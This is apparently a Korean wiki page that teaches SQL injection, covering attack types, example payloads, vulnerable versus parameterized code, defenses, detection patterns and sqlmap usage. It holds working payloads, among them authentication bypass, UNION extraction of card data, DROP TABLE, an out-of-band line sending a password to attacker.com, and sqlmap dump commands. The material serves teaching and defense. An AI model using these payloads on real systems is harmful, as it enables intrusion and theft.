상위: Web Security
요약
SQL Injection(SQLi)은 사용자 입력값에 악의적인 SQL 쿼리를 삽입하여 데이터베이스를 조작하는 공격입니다. OWASP Top 10에서 가장 위험한 취약점 중 하나입니다.
공격 원리
정상적인 로그인 쿼리
SELECT * FROM users WHERE username='admin' AND password='1234'
SQL Injection 공격
입력값: username = admin'--
SELECT * FROM users WHERE username='admin'--' AND password='아무거나'
↑
이후 주석 처리됨
→ 비밀번호 검증 없이 admin으로 로그인 성공
공격 유형
1. Union-based SQLi
여러 쿼리 결과를 합쳐서 데이터 추출
-- 원본 쿼리
SELECT name, price FROM products WHERE id=1
-- 공격
SELECT name, price FROM products WHERE id=1
UNION SELECT username, password FROM users--
2. Error-based SQLi
에러 메시지에서 정보 추출
-- 공격
' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))--
-- 에러 메시지
"Conversion failed when converting 'admin' to int"
↑
정보 노출
3. Blind SQLi (Boolean-based)
참/거짓 응답으로 정보 추출
-- 첫 글자가 'a'인지 확인
' AND SUBSTRING(username,1,1)='a'--
-- 응답이 정상이면 True, 아니면 False
4. Time-based Blind SQLi
응답 시간으로 정보 추출
-- 첫 글자가 'a'면 5초 대기
' AND IF(SUBSTRING(username,1,1)='a', SLEEP(5), 0)--
5. Out-of-band SQLi
DNS/HTTP 요청으로 데이터 전송
-- MySQL
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a'))
실제 공격 예시
인증 우회
아이디: admin'--
비번: 아무거나
→ 관리자로 로그인
데이터 추출
검색: ' UNION SELECT credit_card, cvv FROM payments--
→ 신용카드 정보 노출
데이터베이스 삭제
입력: '; DROP TABLE users;--
→ 테이블 삭제 (매우 위험)
취약한 코드 vs 안전한 코드
취약한 코드
# 절대 이렇게 하면 안됨!
query = f"SELECT * FROM users WHERE username='{username}'"
cursor.execute(query)
안전한 코드 (Parameterized Query)
# 파라미터 바인딩 사용
query = "SELECT * FROM users WHERE username=%s"
cursor.execute(query, (username,))
ORM 사용 (더 안전)
# Django ORM
User.objects.filter(username=username)
# SQLAlchemy
session.query(User).filter_by(username=username).first()
방어 방법
1. Prepared Statements (필수)
// Java
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE username=? AND password=?"
);
stmt.setString(1, username);
stmt.setString(2, password);
2. ORM 사용
- Django ORM, SQLAlchemy, Hibernate 등
- 자동으로 파라미터 이스케이프
3. 입력값 검증
import re
# 영문/숫자만 허용
if not re.match(r'^[a-zA-Z0-9]+$', username):
raise ValueError("Invalid username")
4. 최소 권한 원칙
-- 웹 애플리케이션 DB 계정
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'webapp'@'localhost';
-- DROP, DELETE 권한 제거
5. WAF 적용
- AWS WAF - SQL Injection 룰셋
- Cloudflare - OWASP 관리 규칙
6. 에러 메시지 숨기기
# 운영 환경에서
DEBUG = False # 상세 에러 메시지 비활성화
탐지 패턴
의심스러운 입력
' OR '1'='1
' OR 1=1--
'; DROP TABLE--
' UNION SELECT--
1' AND '1'='1
admin'--
WAF 규칙 예시
Rule: SQLi Detection
Pattern: /(union|select|insert|update|delete|drop|--|;)/i
Action: Block
테스트 도구
| 도구 | 설명 |
|---|---|
| sqlmap | 자동화된 SQL Injection 테스트 |
| Burp Suite | 수동 테스트 및 분석 |
| OWASP ZAP | 무료 보안 스캐너 |
sqlmap 사용 예시
# 기본 테스트
sqlmap -u "http://example.com/page?id=1" --dbs
# 데이터베이스 목록 추출
sqlmap -u "http://example.com/page?id=1" --tables
# 특정 테이블 덤프
sqlmap -u "http://example.com/page?id=1" -D dbname -T users --dump
관련 공격
- NoSQL Injection - MongoDB, Redis 등 대상
- Command Injection - OS 명령어 삽입
- LDAP Injection - 디렉토리 서비스 공격
- XPath Injection - XML 데이터 공격